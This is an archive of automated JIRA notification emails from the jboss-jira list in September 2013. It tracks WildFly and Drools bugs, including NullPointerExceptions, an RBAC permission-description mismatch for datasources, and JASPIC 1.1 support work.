> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:25:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 5 Sep 2013 09:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-250) Potential NPE in
	MVELConstraint
In-Reply-To: <JIRA.12500014.1378364149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500014.1378364149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500014.1378364149000.11009.1378387504123@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-250?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-250:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> Potential NPE in MVELConstraint
> -------------------------------
>
>                 Key: DROOLS-250
>                 URL: https://issues.jboss.org/browse/DROOLS-250
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.CR2
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final,  6.0.0.CR3
>
>
> PlainIndexEvaluator in MVELConstraint may throw an NPE
> when comparing a String against a null value

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:27:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Thu, 5 Sep 2013 09:27:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2010) RBAC:
 read-resource-description is wrong about the ability to :add in the
 datasources subsystem
In-Reply-To: <JIRA.12500063.1378387549541@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500063.1378387549541@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500063.1378387549541.11042.1378387624313@jira02.app.mwc.hst.phx2.redhat.com>

Ladislav Thon created WFLY-2010:
-----------------------------------

             Summary: RBAC: read-resource-description is wrong about the ability to :add in the datasources subsystem
                 Key: WFLY-2010
                 URL: https://issues.jboss.org/browse/WFLY-2010
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Ladislav Thon
            Assignee: Brian Stansberry


This is the issue Jakub has been talking about for quite some time now.

If I do {{/subsystem=datasources:read-resource-description(operations=true, access-control=trim-descriptions)}} as a user that has the {{Maintainer}} role, the response says that I can {{:add}} a new datasource.

{code}
[standalone at localhost:9990 /] /subsystem=datasources:read-resource-description(operations=true, access-control=trim-descriptions) 
{
    "outcome" => "success",
    "result" => {
        "description" => undefined,
        "attributes" => undefined,
        "operations" => undefined,
        "children" => {
            "jdbc-driver" => {"model-description" => undefined},
            "data-source" => {"model-description" => undefined},
            "xa-data-source" => {"model-description" => undefined}
        },
        "access-control" => {
            "default" => {
                "read" => true,
                "write" => true,
                "attributes" => {"installed-drivers" => {
                    "read" => true,
                    "write" => true
                }},
                "operations" => {
                    "read-children-names" => {"execute" => true},
                    "read-operation-description" => {"execute" => true},
                    "remove" => {"execute" => true},
                    "get-installed-driver" => {"execute" => true},
                    "read-resource-description" => {"execute" => true},
                    "read-resource" => {"execute" => true},
                    "add" => {"execute" => true},
                    "read-attribute" => {"execute" => true},
                    "whoami" => {"execute" => true},
                    "installed-drivers-list" => {"execute" => true},
                    "read-children-types" => {"execute" => true},
                    "read-operation-names" => {"execute" => true},
                    "undefine-attribute" => {"execute" => true},
                    "read-children-resources" => {"execute" => true},
                    "write-attribute" => {"execute" => true}
                }
            },
            "exceptions" => {}
        }
    }
}
{code}

Yet if I try to do that, it fails:

{code}
/subsystem=datasources/data-source=TestDS:add(connection-url="jdbc:h2:mem:test;DB_CLOSE_DELAY=-1", jndi-name="java:jboss/datasources/TestDS", driver-name="h2")
{
    "outcome" => "failed",
    "failure-description" => "JBAS013456: Unauthorized to execute operation 'add' for resource '[
    (\"subsystem\" => \"datasources\"),
    (\"data-source\" => \"TestDS\")
]' -- \"Permission denied\"",
    "rolled-back" => true
}
{code}

I have a test case for this that I will submit in a pull request in few minutes.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:27:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Thu, 5 Sep 2013 09:27:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2010) RBAC:
 read-resource-description is wrong about the ability to :add in the
 datasources subsystem
In-Reply-To: <JIRA.12500063.1378387549000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500063.1378387549000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500063.1378387549000.11045.1378387624411@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2010?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-2010:
--------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> RBAC: read-resource-description is wrong about the ability to :add in the datasources subsystem
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2010
>                 URL: https://issues.jboss.org/browse/WFLY-2010
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>
> This is the issue Jakub has been talking about for quite some time now.
> If I do {{/subsystem=datasources:read-resource-description(operations=true, access-control=trim-descriptions)}} as a user that has the {{Maintainer}} role, the response says that I can {{:add}} a new datasource.
> {code}
> [standalone at localhost:9990 /] /subsystem=datasources:read-resource-description(operations=true, access-control=trim-descriptions) 
> {
>     "outcome" => "success",
>     "result" => {
>         "description" => undefined,
>         "attributes" => undefined,
>         "operations" => undefined,
>         "children" => {
>             "jdbc-driver" => {"model-description" => undefined},
>             "data-source" => {"model-description" => undefined},
>             "xa-data-source" => {"model-description" => undefined}
>         },
>         "access-control" => {
>             "default" => {
>                 "read" => true,
>                 "write" => true,
>                 "attributes" => {"installed-drivers" => {
>                     "read" => true,
>                     "write" => true
>                 }},
>                 "operations" => {
>                     "read-children-names" => {"execute" => true},
>                     "read-operation-description" => {"execute" => true},
>                     "remove" => {"execute" => true},
>                     "get-installed-driver" => {"execute" => true},
>                     "read-resource-description" => {"execute" => true},
>                     "read-resource" => {"execute" => true},
>                     "add" => {"execute" => true},
>                     "read-attribute" => {"execute" => true},
>                     "whoami" => {"execute" => true},
>                     "installed-drivers-list" => {"execute" => true},
>                     "read-children-types" => {"execute" => true},
>                     "read-operation-names" => {"execute" => true},
>                     "undefine-attribute" => {"execute" => true},
>                     "read-children-resources" => {"execute" => true},
>                     "write-attribute" => {"execute" => true}
>                 }
>             },
>             "exceptions" => {}
>         }
>     }
> }
> {code}
> Yet if I try to do that, it fails:
> {code}
> /subsystem=datasources/data-source=TestDS:add(connection-url="jdbc:h2:mem:test;DB_CLOSE_DELAY=-1", jndi-name="java:jboss/datasources/TestDS", driver-name="h2")
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS013456: Unauthorized to execute operation 'add' for resource '[
>     (\"subsystem\" => \"datasources\"),
>     (\"data-source\" => \"TestDS\")
> ]' -- \"Permission denied\"",
>     "rolled-back" => true
> }
> {code}
> I have a test case for this that I will submit in a pull request in few minutes.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:31:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Thu, 5 Sep 2013 09:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2010) RBAC:
 read-resource-description is wrong about the ability to :add in the
 datasources subsystem
In-Reply-To: <JIRA.12500063.1378387549000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500063.1378387549000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500063.1378387549000.11095.1378387864198@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2010?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801918#comment-12801918 ] 

Ladislav Thon commented on WFLY-2010:
-------------------------------------

Pull request with test case: https://github.com/bstansberry/wildfly/pull/32
                
> RBAC: read-resource-description is wrong about the ability to :add in the datasources subsystem
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2010
>                 URL: https://issues.jboss.org/browse/WFLY-2010
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>
> This is the issue Jakub has been talking about for quite some time now.
> If I do {{/subsystem=datasources:read-resource-description(operations=true, access-control=trim-descriptions)}} as a user that has the {{Maintainer}} role, the response says that I can {{:add}} a new datasource.
> {code}
> [standalone at localhost:9990 /] /subsystem=datasources:read-resource-description(operations=true, access-control=trim-descriptions) 
> {
>     "outcome" => "success",
>     "result" => {
>         "description" => undefined,
>         "attributes" => undefined,
>         "operations" => undefined,
>         "children" => {
>             "jdbc-driver" => {"model-description" => undefined},
>             "data-source" => {"model-description" => undefined},
>             "xa-data-source" => {"model-description" => undefined}
>         },
>         "access-control" => {
>             "default" => {
>                 "read" => true,
>                 "write" => true,
>                 "attributes" => {"installed-drivers" => {
>                     "read" => true,
>                     "write" => true
>                 }},
>                 "operations" => {
>                     "read-children-names" => {"execute" => true},
>                     "read-operation-description" => {"execute" => true},
>                     "remove" => {"execute" => true},
>                     "get-installed-driver" => {"execute" => true},
>                     "read-resource-description" => {"execute" => true},
>                     "read-resource" => {"execute" => true},
>                     "add" => {"execute" => true},
>                     "read-attribute" => {"execute" => true},
>                     "whoami" => {"execute" => true},
>                     "installed-drivers-list" => {"execute" => true},
>                     "read-children-types" => {"execute" => true},
>                     "read-operation-names" => {"execute" => true},
>                     "undefine-attribute" => {"execute" => true},
>                     "read-children-resources" => {"execute" => true},
>                     "write-attribute" => {"execute" => true}
>                 }
>             },
>             "exceptions" => {}
>         }
>     }
> }
> {code}
> Yet if I try to do that, it fails:
> {code}
> /subsystem=datasources/data-source=TestDS:add(connection-url="jdbc:h2:mem:test;DB_CLOSE_DELAY=-1", jndi-name="java:jboss/datasources/TestDS", driver-name="h2")
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS013456: Unauthorized to execute operation 'add' for resource '[
>     (\"subsystem\" => \"datasources\"),
>     (\"data-source\" => \"TestDS\")
> ]' -- \"Permission denied\"",
>     "rolled-back" => true
> }
> {code}
> I have a test case for this that I will submit in a pull request in few minutes.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 09:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.11117.1378388103831@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801925#comment-12801925 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> changed the Status of [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417] from NEW to ASSIGNED
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 09:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.11126.1378388224335@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801927#comment-12801927 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417]

https://github.com/jbossas/jboss-eap/pull/317
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:50:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 5 Sep 2013 09:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-250) Potential NPE in
	MVELConstraint
In-Reply-To: <JIRA.12500014.1378364149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500014.1378364149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500014.1378364149000.11162.1378389003482@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-250?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-250.
--------------------------------

    Fix Version/s:  6.0.0.CR4
                       (was:  6.0.0.CR3)
       Resolution: Done

    
> Potential NPE in MVELConstraint
> -------------------------------
>
>                 Key: DROOLS-250
>                 URL: https://issues.jboss.org/browse/DROOLS-250
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.CR2
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> PlainIndexEvaluator in MVELConstraint may throw an NPE
> when comparing a String against a null value

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:56:03 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 5 Sep 2013 09:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-531) JSR-196 JASPIC 1.1 Support
In-Reply-To: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488516.1364997991000.11180.1378389363541@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-531?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801935#comment-12801935 ] 

Stefan Guilhen commented on WFLY-531:
-------------------------------------

I've been updating the JASPIC implementation classes in PicketBox to reflect changes in the spec. A number of TCK that only test the implementation are now passing but a few more fixes are still needed.

What I need to do is port the old JBossWeb WebJASPIAuthenticator to Undertow and check the changes like the one pointed by arjan above. This will allow the container integration tests to run.
                
> JSR-196 JASPIC 1.1 Support
> --------------------------
>
>                 Key: WFLY-531
>                 URL: https://issues.jboss.org/browse/WFLY-531
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>            Reporter: David Lloyd
>            Assignee: Stefan Guilhen
>             Fix For: 8.0.0.Beta1
>
>
> Provide support for the 1.1 maintenance release of JASPIC.
> http://jcp.org/aboutJava/communityprocess/maintenance/jsr196/196ChangeLog.html

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:56:03 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 5 Sep 2013 09:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-531) JSR-196 JASPIC 1.1 Support
In-Reply-To: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488516.1364997991000.11185.1378389363791@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-531?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801935#comment-12801935 ] 

Stefan Guilhen edited comment on WFLY-531 at 9/5/13 9:55 AM:
-------------------------------------------------------------

I've been updating the JASPIC implementation classes in PicketBox to reflect changes in the spec. A number of TCK tests that only test the implementation are now passing but a few more fixes are still needed.

What I need to do is port the old JBossWeb WebJASPIAuthenticator to Undertow and check the changes like the one pointed by arjan above. This will allow the container integration tests to run.
                
      was (Author: sguilhen):
    I've been updating the JASPIC implementation classes in PicketBox to reflect changes in the spec. A number of TCK that only test the implementation are now passing but a few more fixes are still needed.

What I need to do is port the old JBossWeb WebJASPIAuthenticator to Undertow and check the changes like the one pointed by arjan above. This will allow the container integration tests to run.
                  
> JSR-196 JASPIC 1.1 Support
> --------------------------
>
>                 Key: WFLY-531
>                 URL: https://issues.jboss.org/browse/WFLY-531
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>            Reporter: David Lloyd
>            Assignee: Stefan Guilhen
>             Fix For: 8.0.0.Beta1
>
>
> Provide support for the 1.1 maintenance release of JASPIC.
> http://jcp.org/aboutJava/communityprocess/maintenance/jsr196/196ChangeLog.html

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 10:51:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 10:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.11253.1378392663423@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun resolved WFLY-1997.
-------------------------------

    Resolution: Done

    
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 10:53:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 10:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.11257.1378392783549@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reopened WFLY-1997:
-------------------------------


    
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
